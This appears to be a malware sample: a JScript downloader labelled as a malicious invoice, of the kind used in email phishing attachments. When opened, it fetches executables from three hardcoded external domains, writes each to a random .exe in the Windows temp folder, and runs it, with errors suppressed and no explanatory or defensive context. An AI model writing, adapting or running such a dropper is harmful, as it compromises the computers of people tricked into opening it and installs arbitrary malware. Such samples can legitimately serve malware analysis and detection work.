JS_Malicious_Invoice

function dl(fr)
{
    var b = "siammedia.org pitfaa.nidhog.com www.mybusinessdoc.com".split(" ");
    for (var i = 0; i < b.length; i++)
    {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function ()
        {
            if (xo.readyState == 4 && xo.status == 200)
            {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000)
                {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2);
                    try
                    {
                        ws.Run(fn, 1, 0);
                    }
                    catch (er)
                    {};
                };
                xa.close();
            };
        };
        try
        {
            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + listing, false);
            xo.send();
        }
        catch (er)
        {};
        if (dn == 1)
            break;
    }
};
dl(6381);
dl(3652);
dl(903);